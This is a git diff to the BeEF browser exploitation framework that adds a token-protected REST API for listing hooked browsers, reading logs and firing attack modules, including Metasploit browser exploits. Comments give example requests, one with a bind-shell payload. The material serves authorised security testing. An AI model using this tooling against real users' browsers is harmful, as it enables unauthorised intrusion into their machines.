diff --git a/Gemfile b/Gemfile index 71e9a15c9..99b911ef9 100644 --- a/Gemfile +++ b/Gemfile @@ -25,6 +25,7 @@ else end gem "thin" +gem "sinatra", "1.3.2" gem "ansi" gem "term-ansicolor", :require => "term/ansicolor" gem "dm-core" diff --git a/beef b/beef index f6cbb0840..bbab62e73 100755 --- a/beef +++ b/beef @@ -109,6 +109,9 @@ BeEF::Core::Console::Banners.print_loaded_modules BeEF::Core::Console::Banners.print_network_interfaces_count BeEF::Core::Console::Banners.print_network_interfaces_routes +#@note Prints the API key needed to use the RESTful API +print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" + # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) diff --git a/config.yaml b/config.yaml index 679d183f6..c8f530075 100644 --- a/config.yaml +++ b/config.yaml @@ -27,7 +27,7 @@ beef: permitted_ui_subnet: "0.0.0.0/0" http: - debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. + debug: true #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # if running behind a nat set the public ip address here diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 68c6df8dd..2ce5f8643 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -39,4 +39,10 @@ require 'core/module' require 'core/modules' require 'core/extension' require 'core/extensions' -require 'core/hbmanager' \ No newline at end of file +require 'core/hbmanager' + +## @note Include RESTful API +require 'core/main/rest/handlers/hookedbrowsers' +require 'core/main/rest/handlers/modules' +require 'core/main/rest/handlers/logs' +require 'core/main/rest/api' diff --git a/core/core.rb b/core/core.rb index 49139feea..bc655694c 100644 --- a/core/core.rb +++ b/core/core.rb @@ -26,9 +26,6 @@ require 'core/main/models/hookedbrowser' require 'core/main/models/log' require 'core/main/models/command' require 'core/main/models/result' -require 'core/main/models/dynamiccommandinfo' -require 'core/main/models/dynamicpayloadinfo' -require 'core/main/models/dynamicpayloads' require 'core/main/models/optioncache' # @note Include the constants diff --git a/core/main/crypto.rb b/core/main/crypto.rb index 25c751446..ae81ae5e6 100644 --- a/core/main/crypto.rb +++ b/core/main/crypto.rb @@ -36,6 +36,19 @@ module Core # return random hex string return OpenSSL::Random.random_bytes(token_length).unpack("H*")[0] end + + # Generate a secure random token, 20 chars, used as an auth token for the RESTful API. + # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token') + # @return [String] Security token + def self.api_token + config = BeEF::Core::Configuration.instance + token_length = 20 + + # return random hex string + token = OpenSSL::Random.random_bytes(token_length).unpack("H*")[0] + config.set('beef.api_token', token) + token + end end end diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb index b372f2628..9ade6f12e 100644 --- a/core/main/models/commandmodule.rb +++ b/core/main/models/commandmodule.rb @@ -28,8 +28,6 @@ module Models property :path, Text, :lazy => false has n, :commands - has 1, :dynamic_command_info - end end diff --git a/core/main/models/dynamiccommandinfo.rb b/core/main/models/dynamiccommandinfo.rb deleted file mode 100644 index a70b7d707..000000000 --- a/core/main/models/dynamiccommandinfo.rb +++ /dev/null @@ -1,36 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF -module Core -module Models - - class DynamicCommandInfo - - include DataMapper::Resource - - storage_names[:default] = 'core_dynamiccommandinfo' - - property :id, Serial - property :name, Text, :lazy => false - property :description, Text, :lazy => false - property :targets, Text, :lazy => false - belongs_to :command_module - - end - -end -end -end \ No newline at end of file diff --git a/core/main/models/dynamicpayloadinfo.rb b/core/main/models/dynamicpayloadinfo.rb deleted file mode 100644 index 6fe9813a9..000000000 --- a/core/main/models/dynamicpayloadinfo.rb +++ /dev/null @@ -1,38 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF -module Core -module Models - - class DynamicPayloadInfo - - include DataMapper::Resource - - storage_names[:default] = 'core_dynamicpayloadinfo' - - property :id, Serial - property :name, String, :length => 30 - property :value, String, :length => 255 - property :required, Boolean, :default => false - property :description, Text, :lazy => false - - belongs_to :dynamic_payloads - - end - -end -end -end \ No newline at end of file diff --git a/core/main/models/dynamicpayloads.rb b/core/main/models/dynamicpayloads.rb deleted file mode 100644 index 8aab50ef3..000000000 --- a/core/main/models/dynamicpayloads.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF -module Core -module Models - - class DynamicPayloads - - include DataMapper::Resource - - storage_names[:default] = 'core_dynamicpayloads' - - property :id, Serial - property :name, Text, :lazy => false - - has n, :dynamic_payload_info - - end - -end -end -end \ No newline at end of file diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb new file mode 100644 index 000000000..c6bfafa59 --- /dev/null +++ b/core/main/rest/api.rb @@ -0,0 +1,44 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Rest + + module RegisterHooksHandler + def self.mount_handler(server) + server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new) + end + end + + module RegisterModulesHandler + def self.mount_handler(server) + server.mount('/api/modules', BeEF::Core::Rest::Modules.new) + end + end + + module RegisterLogsHandler + def self.mount_handler(server) + server.mount('/api/logs', BeEF::Core::Rest::Logs.new) + end + end + + BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler') + + end + end +end diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb new file mode 100644 index 000000000..b56fffbe4 --- /dev/null +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -0,0 +1,77 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF + module Core + module Rest + class HookedBrowsers < Sinatra::Base + + config = BeEF::Core::Configuration.instance + configure do set :show_exceptions, false end + not_found do 'Not Found.' end + + before do + error 401 unless params[:token] == config.get('beef.api_token') + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...) + get '/' do + online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15))) + offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15))) + + output = { + 'hooked-browsers' => { + 'online' => online_hooks, + 'offline' => offline_hooks + } + } + output.to_json + end + + def hb_to_json(hbs) + hbs_hash = {} + i = 0 + hbs.each do |hb| + hbs_hash[i] = (get_hb_details(hb)) + i+=1 + end + hbs_hash + end + + def get_hb_details(hb) + details = BeEF::Extension::Initialization::Models::BrowserDetails + + { + 'name' => details.get(hb.session, 'BrowserName'), + 'version' => details.get(hb.session, 'BrowserVersion'), + 'os' => details.get(hb.session, 'OsName'), + 'platform' => details.get(hb.session, 'SystemPlatform'), + 'session' => hb.session, + 'ip' => hb.ip, + 'domain' => details.get(hb.session, 'HostName'), + 'port' => hb.port.to_s, + 'page_uri' => details.get(hb.session, 'PageURI') + } + end + + end + end + end +end \ No newline at end of file diff --git a/core/main/rest/handlers/logs.rb b/core/main/rest/handlers/logs.rb new file mode 100644 index 000000000..d4ee2bc0d --- /dev/null +++ b/core/main/rest/handlers/logs.rb @@ -0,0 +1,74 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF + module Core + module Rest + class Logs < Sinatra::Base + + config = BeEF::Core::Configuration.instance + configure do set :show_exceptions, false end + not_found do 'Not Found.' end + + before do + error 401 unless params[:token] == config.get('beef.api_token') + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # @note Get all global logs + get '/' do + logs = BeEF::Core::Models::Log.all() + logs_to_json(logs) + end + + # @note Get hooked browser logs + get '/:session' do + hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session]) + error 401 unless hb != nil + + logs = BeEF::Core::Models::Log.all(:hooked_browser_id => hb.id) + logs_to_json(logs) + end + + private + + def logs_to_json(logs) + logs_json = [] + count = logs.length + + logs.each do |log| + logs_json << { + 'id' => log.id.to_i, + 'date' => log.date.to_s, + 'event' => log.event.to_s, + 'type' => log.type.to_s + } + end + + { + 'logs_count' => count, + 'logs' => logs_json + }.to_json if not logs_json.empty? + + end + + end + end + end +end \ No newline at end of file diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb new file mode 100644 index 000000000..0d2707089 --- /dev/null +++ b/core/main/rest/handlers/modules.rb @@ -0,0 +1,147 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF + module Core + module Rest + class Modules < Sinatra::Base + + config = BeEF::Core::Configuration.instance + configure do set :show_exceptions, false end + not_found do 'Not Found.' end + + before do + error 401 unless params[:token] == config.get('beef.api_token') + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # @note Get all available and enabled modules (id, name, category) + get '/' do + mods = BeEF::Core::Models::CommandModule.all + + mods_hash = {} + i = 0 + mods.each do |mod| + modk = BeEF::Module.get_key_by_database_id(mod.id) + next if !BeEF::Module.is_enabled(modk) + mods_hash[i] = { + 'id' => mod.id, + 'name' => config.get("beef.module.#{modk}.name"), + 'category' => config.get("beef.module.#{modk}.category") + } + i+=1 + end + mods_hash.to_json + end + + # @note Get the module definition (info, options) + get '/:mod_id' do + cmd = BeEF::Core::Models::CommandModule.get(params[:mod_id]) + error 404 unless cmd != nil + modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) + error 404 unless modk != nil + + #todo check if it's possible to also retrieve the TARGETS supported + { + 'name' => cmd.name, + 'description' => config.get("beef.module.#{cmd.name}.description"), + 'category'=> config.get("beef.module.#{cmd.name}.category"), + 'options' => BeEF::Module.get_options(modk) #todo => get also payload options..get_payload_options(modk,text) + }.to_json + end + + # @note Get the module result for the specific executed command + # + # Example with the Alert Dialog + #GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1 + #Host: 127.0.0.1:3000 + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"date":"1331637093","data":"{\"data\":\"text=michele\"}"} + get '/:session/:mod_id/:cmd_id' do + hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session]) + error 401 unless hb != nil + cmd = BeEF::Core::Models::Command.first(:hooked_browser_id => hb.id, + :command_module_id => params[:mod_id], :id => params[:cmd_id]) + error 404 unless cmd != nil + result = BeEF::Core::Models::Result.first(:hooked_browser_id => hb.id, :command_id => cmd.id) + error 404 unless result != nil + { + 'date' => result.date, + 'data' => result.data + }.to_json + end + + # @note Fire a new command module to the specified hooked browser. + # Return the command_id of the executed module if it has been fired correctly. + # Input must be specified in JSON format + # + # +++ Example with the Alert Dialog: +++ + #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + #Content-Length: 18 + # + #{"text":"michele"} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + #Content-Length: 35 + # + #{"success":"true","command_id":"1"} + # + # +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++ + # +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not. + # +++ this is why there is "command_id":"not_available" in the response + #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + #Content-Length: 81 + # + #{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + #Content-Length: 35 + # + #{"success":"true","command_id":"not_available"} + post '/:session/:mod_id' do + hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session]) + error 401 unless hb != nil + modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) + error 404 unless modk != nil + + request.body.rewind + begin + data = JSON.parse request.body.read + options = [] + data.each{|k,v| options.push({'name' => k, 'value' => v})} + exec_results = BeEF::Module.execute(modk, params[:session], options) + exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' + rescue Exception => e + print_error "Invalid JSON input for module '#{params[:mod_id]}'" + error 400 # Bad Request + end + end + end + end + end +end \ No newline at end of file diff --git a/core/module.rb b/core/module.rb index b8f111f76..bb4fd29ed 100644 --- a/core/module.rb +++ b/core/module.rb @@ -67,11 +67,6 @@ module BeEF if class_symbol and class_symbol.respond_to?(:options) return class_symbol.options end - #TODO: do we really need to print this info? At then modules with no options are common, - # so I guess we shouldn't print this info even in debug mode - # else - # print_debug "Module '#{mod}', no options method defined" - # end end return [] end @@ -434,22 +429,22 @@ module BeEF # @param [String] mod module key # @param [String] hbsession hooked browser session # @param [Array] opts array of module execute options (see #get_options) - # @return [Boolean] whether or not the BeEF system executed the module + # @return [Fixnum] the command_id associated to the module execution when info is persisted. nil if there are errors. # @note The return value of this function does not specify if the module was successful, only that it was executed within the framework def self.execute(mod, hbsession, opts=[]) if not (self.is_present(mod) and self.is_enabled(mod)) print_error "Module not found '#{mod}'. Failed to execute module." - return false + return nil end if BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'override_execute', [mod, nil,nil]) BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'override_execute', mod, hbsession,opts) - # @note We return true by default as we cannot determine the correct status if multiple API hooks have been called - return true + # @note We return not_nil by default as we cannot determine the correct status if multiple API hooks have been called + return 'not_available' # @note using metasploit, we cannot know if the module execution was successful or not end hb = BeEF::HBManager.get_by_session(hbsession) if not hb print_error "Could not find hooked browser when attempting to execute module '#{mod}'" - return false + return nil end self.check_hard_load(mod) command_module = self.get_definition(mod).new(mod) @@ -457,12 +452,12 @@ module BeEF command_module.pre_execute end h = self.merge_options(mod, []) - c = BeEF::Core::Models::Command.new(:data => self.merge_options(mod, opts).to_json, + c = BeEF::Core::Models::Command.create(:data => self.merge_options(mod, opts).to_json, :hooked_browser_id => hb.id, :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), :creationdate => Time.new.to_i - ).save - return true + ) + return c.id end # Merges default module options with array of custom options diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 814fb0ecc..f140ef3d5 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -606,7 +606,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController def2.push({'name' => k, 'value' => v}) } # End hack - @body = (BeEF::Module.execute(mod_key, zombie_session, def2)) ? '{success: true}' : '{success: false}' + exec_results = BeEF::Module.execute(mod_key, zombie_session, def2) + @body = (exec_results != nil) ? '{success: true}' : '{success: false}' end # Re-execute an command_module to a zombie. diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index e32dc6eb2..78f099e53 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -195,7 +195,7 @@ class ShellInterface def2.push({'name' => k, 'value' => v}) } # End hack - if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) == true + if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil return true else return false diff --git a/extensions/metasploit/api.rb b/extensions/metasploit/api.rb index df0491b26..116bc9f1d 100644 --- a/extensions/metasploit/api.rb +++ b/extensions/metasploit/api.rb @@ -14,166 +14,166 @@ # limitations under the License. # module BeEF -module Extension -module Metasploit -module API + module Extension + module Metasploit + module API - module MetasploitHooks - - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load') - - # Load modules from metasploit just after all other module config is loaded - def self.post_soft_load - msf = BeEF::Extension::Metasploit::RpcClient.instance - if msf.login - msf_module_config = {} - path = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path') - if not BeEF::Extension::Console.resetdb? and File.exists?("#{path}msf-exploits.cache") + module MetasploitHooks + + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load') + + # Load modules from metasploit just after all other module config is loaded + def self.post_soft_load + msf = BeEF::Extension::Metasploit::RpcClient.instance + if msf.login + msf_module_config = {} + path = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path') + if not BeEF::Core::Console::CommandLine.parse[:resetdb] and File.exists?("#{path}msf-exploits.cache") print_debug "Attempting to use Metasploit exploits cache file" raw = File.read("#{path}msf-exploits.cache") begin - msf_module_config = YAML.load(raw) + msf_module_config = YAML.load(raw) rescue => e - puts e + puts e end count = 1 - msf_module_config.each{|k,v| - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k,nil]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil]) - print_over "Loaded #{count} Metasploit exploits." - count += 1 + msf_module_config.each { |k, v| + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil]) + print_over "Loaded #{count} Metasploit exploits." + count += 1 } print "\r\n" - else + else msf_modules = msf.call('module.exploits') count = 1 - msf_modules['modules'].each{|m| - next if not m.include? "/browser/" - m_details = msf.call('module.info', 'exploit', m) - if m_details - key = 'msf_'+m.split('/').last - # system currently doesn't support multilevel categories - #categories = ['Metasploit'] - #m.split('/')[0...-1].each{|c| - # categories.push(c.capitalize) - #} - msf_module_config[key] = { - 'enable'=> true, - 'msf'=> true, - 'msf_key' => m, - 'name'=> m_details['name'], - 'category' => 'Metasploit', - 'description'=> m_details['description'], - 'authors'=> m_details['references'], - 'path'=> path, - 'class'=> 'Msf_module' - } - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key,nil]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil]) - print_over "Loaded #{count} Metasploit exploits." - count += 1 - end + msf_modules['modules'].each { |m| + next if not m.include? "/browser/" + m_details = msf.call('module.info', 'exploit', m) + if m_details + key = 'msf_'+m.split('/').last + # system currently doesn't support multilevel categories + #categories = ['Metasploit'] + #m.split('/')[0...-1].each{|c| + # categories.push(c.capitalize) + #} + msf_module_config[key] = { + 'enable'=> true, + 'msf'=> true, + 'msf_key' => m, + 'name'=> m_details['name'], + 'category' => 'Metasploit', + 'description'=> m_details['description'], + 'authors'=> m_details['references'], + 'path'=> path, + 'class'=> 'Msf_module' + } + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil]) + print_over "Loaded #{count} Metasploit exploits." + count += 1 + end } print "\r\n" File.open("#{path}msf-exploits.cache", "w") do |f| - f.write(msf_module_config.to_yaml) - print_debug "Wrote Metasploit exploits to cache file" + f.write(msf_module_config.to_yaml) + print_debug "Wrote Metasploit exploits to cache file" end + end + BeEF::Core::Configuration.instance.set('beef.module', msf_module_config) end - BeEF::Core::Configuration.instance.set('beef.module', msf_module_config) - end - end + end - # Get module options + payloads when the beef framework requests this information - def self.get_options(mod) - msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") - msf = BeEF::Extension::Metasploit::RpcClient.instance - if msf_key != nil and msf.login - msf_module_options = msf.call('module.options', 'exploit', msf_key) - com = BeEF::Core::Models::CommandModule.first(:name => mod ) - if msf_module_options + # Get module options + payloads when the beef framework requests this information + def self.get_options(mod) + msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") + msf = BeEF::Extension::Metasploit::RpcClient.instance + if msf_key != nil and msf.login + msf_module_options = msf.call('module.options', 'exploit', msf_key) + com = BeEF::Core::Models::CommandModule.first(:name => mod) + if msf_module_options options = BeEF::Extension::Metasploit.translate_options(msf_module_options) - options << { 'name' => 'mod_id', 'id' => 'mod_id' , 'type' => 'hidden', 'value' => com.id} + options << {'name' => 'mod_id', 'id' => 'mod_id', 'type' => 'hidden', 'value' => com.id} msf_payload_options = msf.call('module.compatible_payloads', msf_key) if msf_payload_options - options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) - return options + options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) + return options else - print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" + print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" end - else + else print_error "Unable to retrieve metasploit options for exploit: #{msf_key}" + end end - end - end + end - # Execute function for all metasploit exploits - def self.override_execute(mod, hbsession, opts) - msf = BeEF::Extension::Metasploit::RpcClient.instance - msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") - msf_opts = {} + # Execute function for all metasploit exploits + def self.override_execute(mod, hbsession, opts) + msf = BeEF::Extension::Metasploit::RpcClient.instance + msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") + msf_opts = {} - opts.each { |opt| - next if ['e','ie_session','and_module_id'].include? opt['name'] - msf_opts[opt["name"]] = opt["value"] - } + opts.each { |opt| + next if ['e', 'ie_session', 'and_module_id'].include? opt['name'] + msf_opts[opt["name"]] = opt["value"] + } - if msf_key != nil and msf.login - # Are the options correctly formatted for msf? - # This call has not been tested - msf.call('module.execute', 'exploit', msf_key, msf_opts) - end + if msf_key != nil and msf.login + # Are the options correctly formatted for msf? + # This call has not been tested + msf.call('module.execute', 'exploit', msf_key, msf_opts) + end - hb = BeEF::HBManager.get_by_session(hbsession) - if not hb - print_error "Could not find hooked browser when attempting to execute module '#{mod}'" - return false - end + hb = BeEF::HBManager.get_by_session(hbsession) + if not hb + print_error "Could not find hooked browser when attempting to execute module '#{mod}'" + return false + end - bopts = [] - uri = "" - if msf_opts['SSL'] - uri += "https://" - else - uri += "http://" - end - config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') - uri += config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH'] + bopts = [] + uri = "" + if msf_opts['SSL'] + uri += "https://" + else + uri += "http://" + end + config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') + uri += config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH'] - bopts << { :sploit_url => uri } - c = BeEF::Core::Models::Command.new(:data => bopts.to_json, - :hooked_browser_id => hb.id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), - :creationdate => Time.new.to_i - ).save + bopts << {:sploit_url => uri} + c = BeEF::Core::Models::Command.new(:data => bopts.to_json, + :hooked_browser_id => hb.id, + :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), + :creationdate => Time.new.to_i + ).save - # Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of - # which exploits where executed against which hooked browsers - return true - end + # Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of + # which exploits where executed against which hooked browsers + return true + end - # Get module options + payloads when the beef framework requests this information - def self.get_payload_options(mod,payload) - msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") + # Get module options + payloads when the beef framework requests this information + def self.get_payload_options(mod, payload) + msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") - msf = BeEF::Extension::Metasploit::RpcClient.instance - if msf_key != nil and msf.login - msf_module_options = msf.call('module.options', 'payload', payload) - - com = BeEF::Core::Models::CommandModule.first(:name => mod ) - if msf_module_options + msf = BeEF::Extension::Metasploit::RpcClient.instance + if msf_key != nil and msf.login + msf_module_options = msf.call('module.options', 'payload', payload) + + com = BeEF::Core::Models::CommandModule.first(:name => mod) + if msf_module_options options = BeEF::Extension::Metasploit.translate_options(msf_module_options) return options - else + else print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}" + end end + end end - end + end + end end end -end -end -end